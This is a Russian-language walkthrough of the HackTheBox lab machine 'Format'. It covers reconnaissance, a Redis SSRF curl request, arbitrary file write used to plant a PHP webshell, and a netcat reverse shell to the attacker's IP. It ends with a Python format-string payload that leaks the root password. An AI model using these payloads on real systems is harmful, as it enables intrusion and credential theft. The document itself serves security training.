Блог

Разбор HackTheBox — Format (Medium)

Сложность:Medium
ОС:Linux
Баллы:30
IP:10.10.11.213
Теги:XSS, LFI, Redis, RCE, Format String Injection

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем дополнительный сервис с возможностью получить исходный код бэкенда на языке PHP. Далее, проанализировав исходный код обнаружена возможность удалённого чтения произвольных файлов целевой машины. Получив статус Pro для учётной записи сервиса microblog.htb мы можем загрузить PHP webshell и исполнять команды от лица пользователя www-data. Далее, с помощью pspy64, получим пароль от пользовательской учётной записи cooper и его флаг. Затем, исследовав исходный код /usr/bin/license, с помощью уязвимости Format String Injection, получили пароль от учётной записи пользователя root и его флаг.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.213

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open http

Просканируем более подробно: nmap -sVC -O -p22,80,3000 10.10.11.213

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Сразу же добавим домен в /etc/hosts:

# HTB
10.10.11.213    microblog.htb

При попытке зайти на веб сервис нас перенаправляет на app.microblog.htb, его также стоит добавить в файл /etc/hosts.

На сайте присутствует возможность регистрации и создания блога со своим поддоменом. Если создать поддомен со стандартной XSS инъекцией, то она успешно отработает:

Отметив возможность XSS, вернёмся к разведке. Просканируем директории app.microblog.htb и созданного нами же произвольного поддомена:

gobuster dir -u http://app.microblog.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получим следующий результат для app.*:

/login                (Status: 301) [Size: 169] [--> http://app.microblog.htb/login/]
/register             (Status: 301) [Size: 169] [--> http://app.microblog.htb/register/]
/logout               (Status: 301) [Size: 169] [--> http://app.microblog.htb/logout/]
/dashboard            (Status: 301) [Size: 169] [--> http://app.microblog.htb/dashboard/]

И следующий результат для произвольного зарегистрированного блога:

/images               (Status: 301) [Size: 169] [--> http://l******e.microblog.htb/images/]
/content              (Status: 301) [Size: 169] [--> http://l******e.microblog.htb/content/]
/edit                 (Status: 301) [Size: 169] [--> http://l******e.microblog.htb/edit/]

Веб сервис, расположенный на порте 3000 и анализ исходного кода

При переходе на порт 3000 мы обнаруживаем сервис контроля версий Gitea версии 1.17.3.

Проведём разведку директорий, доступных на этом веб сервисе:

gobuster dir -u http://microblog.htb:3000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Нам доступны следующие директории:

/report               (Status: 200) [Size: 4161]
/reader               (Status: 405) [Size: 153]
/embed                (Status: 405) [Size: 153]
/server-status        (Status: 403) [Size: 276]

Также, выяснили, что нам доступен исходный код приложения microblog без необходимости авторизоваться с учётными данными пользователя cooper:

Перейдём по пути /cooper/microblog/src/branch/main/microblog/sunny/edit/index.php и просмотрим исходный код:

[...]
if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $txt_nl = nl2br($_POST['txt']);
    $html = "<div class = \"blog-h1 blue-fill\">{$txt_nl}</div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}
[...]

В index.php передаётся имя файла с помощью параметра id далее записывает данные, передаваемые в параметре txt. Исходя из кода можно сделать вывод, что запись может быть осуществлена в произвольный файл и затем конкатенирует содержимое файла, передаваемое в параметре id к файлу order.txt. Затем, как показано ниже, функция fetchPage считывает каждую строку order.txt и выводит.

Судя по такой небезопасной логике мы можем осуществить LFI.

Отсюда можно сделать вывод, что на целевой машине есть 2 пользователя — cooper и git.

Также, при анализе исходных кодов обнаружим, что на целевой машине используется Redis — NoSQL СУБД и каким образом устроена верификация пользователя веб сервиса с платной подпиской и повышенными правами:

[...]
function checkUserOwnsBlog() {
    $redis = new Redis();
    $redis->connect('/var/run/redis/redis.sock');
    $subdomain = array_shift((explode('.', $_SERVER['HTTP_HOST'])));
    $userSites = $redis->LRANGE($_SESSION['username'] . ":sites", 0, -1);
    if(!in_array($subdomain, $userSites)) {
        header("Location: /");
        exit;
    }
}

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}


function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}
[...]

Получение первоначального доступа к машине

Исходя из того как устроен код проверки статуса пользователя microblog.htb можно также сделать вывод о вероятном наличии возможности внедрения произвольных команд.

Также, в поисках возможных эксплоитов для Redis была обнаружена методика, с помощью которой можно провести атаку SSRF воспользовавшись специфической для Redis команды HSET, которая устанавливает значения структуры Hash для объектов. С помощью следующей команды мы можем повысить уровень пользователя microblog.htb до Pro:

curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:test123%20pro%20true%20a/b

Пользователи с повышенным уровнем подписки могут загружать изображения и после загрузки эти файлы попадают в директорию /uploads с доступом на запись, исходя из кода в функции provisionProUser. Итак, получив права Pro как указано выше и загрузим PHP shell:

POST /edit/index.php HTTP/1.1
Host: l******e.microblog.htb
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://l******e.microblog.htb
Connection: close
Referer: http://l******e.microblog.htb/edit/
Cookie: username=[...]
Upgrade-Insecure-Requests: 1

id=/var/www/microblog/test/uploads/rev.php&txt=<%3fphp+system($_REQUEST['cmd'])%3b+%3f>

Теперь, с помощью загруженного PHP webshell мы можем исполнять команды на целевой машине и получить реверс шелл, для этого откроем на машине атакующего порт для подключения

nc -nvlp 7331

И передадим в PHP webshell в параметр cmd следующее значение для получения удалённого доступа к целевой машине:

nc+yourIP+7331

Получили доступ к пользователю www-data, но флаг пользователя нам всё ещё не доступен:

www-data@format:~/microblog/l******e/uploads$ whoami
whoami
www-data
www-data@format:~/microblog/l******e/uploads$

Получение доступа к пользователю

Загрузим на целевую машину инструмент pspy64, запустим его и получим следующий вывод:

[...]
2023/07/28 15:12:03 CMD:   UID=0   PID=4596   | /usr/bin/redis-cli -s /var/run/redis/redis.sock HSET cooper.dooper username cooper.dooper
2023/07/28 15:12:03 CMD:   UID=0   PID=4597   | /usr/bin/redis-cli -s /var/run/redis/redis.sock HSET cooper.dooper password zooperdoopercooper
2023/07/28 15:12:03 CMD:   UID=0   PID=4598   | /usr/bin/redis-cli -s /var/run/redis/redis.sock HSET cooper.dooper first-name Cooper
2023/07/28 15:12:03 CMD:   UID=0   PID=4599   | /usr/bin/redis-cli -s /var/run/redis/redis.sock HSET cooper.dooper last-name Dooder
2023/07/28 15:12:03 CMD:   UID=0   PID=4600   | /usr/bin/redis-cli -s /var/run/redis/redis.sock HSET cooper.dooper pro false
2023/07/28 15:12:03 CMD:   UID=0   PID=4601   | /usr/bin/redis-cli -s /var/run/redis/redis.sock LPUSH cooper.dooper:sites sunny
[...]

Получили пароль от учётной записи пользователя cooper:zooperdoopercooper

Проверим его:

Получили доступ к пользователю и его флагу!

Повышение до root

Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root:

sudo -l

Запустим этот бинарный файл:

Выведем исходный код и проанализируем наиболее интересные его части:

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()

if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
[...]
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
[...]

Данный код взаимодействует с ранее обнаруженной NoSQL СУБД Redis, подключаясь к ней с помощью неизвестного пароля в /root/license/secret, в последней части кода осуществляется проверка того существует ли указанный в параметре пользователь и затем создаёт ключ лицензии для этого пользователя с помощью {license.license}. Функция format() языка Python на котором исходя из того как устроен исходный код уязвима к ряду атак — Format String, которая может позволить нам считать значение /root/licence/secret. Создадим нового пользователя в веб сервисе microblog.htb и с помощью полученных учётных данных пользователя cooper внедрим вредоносную строку в базу Redis следующим образом:

cooper@format:~$ redis-cli -s /run/redis/redis.sock 
redis /run/redis/redis.sock> INFO keyspace
# Keyspace
db0:keys=4,expires=1,avg_ttl=1422098
redis /run/redis/redis.sock> select 0
OK
redis /run/redis/redis.sock> keys *
1) "cooper.dooper:sites"
2) "e******l"
3) "PHPREDIS_SESSION:d7rhub22llhlaq7bl9a327cg5u"
4) "cooper.dooper"
redis /var/run/redis/redis.sock> HMSET e******l first-name "{license.__init__.__globals__[secret_encoded]}" last-name e******l username e******l
OK
redis /var/run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p e******l

Plaintext license key:
------------------------------------------------------
microbloge******l<}e0d5bZc#)!Ef0()(NnX1vkA')|AD:A}e/eGq{tb'unCR4ckaBL3Pa$$w0rd'e******l

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABktmfRMq1QRvBJx1fTjlBnRA9Zkpvt0y6AA3maGpQRnHnwNPoS2CYOY3bFQnymqV2Pz-VJw1CdW865NZsExL-WVblJJN2Fy0RaUs8fpgtDnzm-PKp_LHm0zssyDAOls397PhzVh186SfGHK_bKbRSCo9jARNUAOZ9ViR05lKDcyIPrMJQ=

Получили пароль от учётной записи root: unCR4ckaBL3Pa$$w0rd

Мы смогли получить доступ к пользователю root и обнаружили его флаг!

Ссылки:

https://github.com/DominicBreuker/pspy

https://linuxhint.com/redis-hset/

https://podalirius.net/en/articles/python-format-string-vulnerabilities/

https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/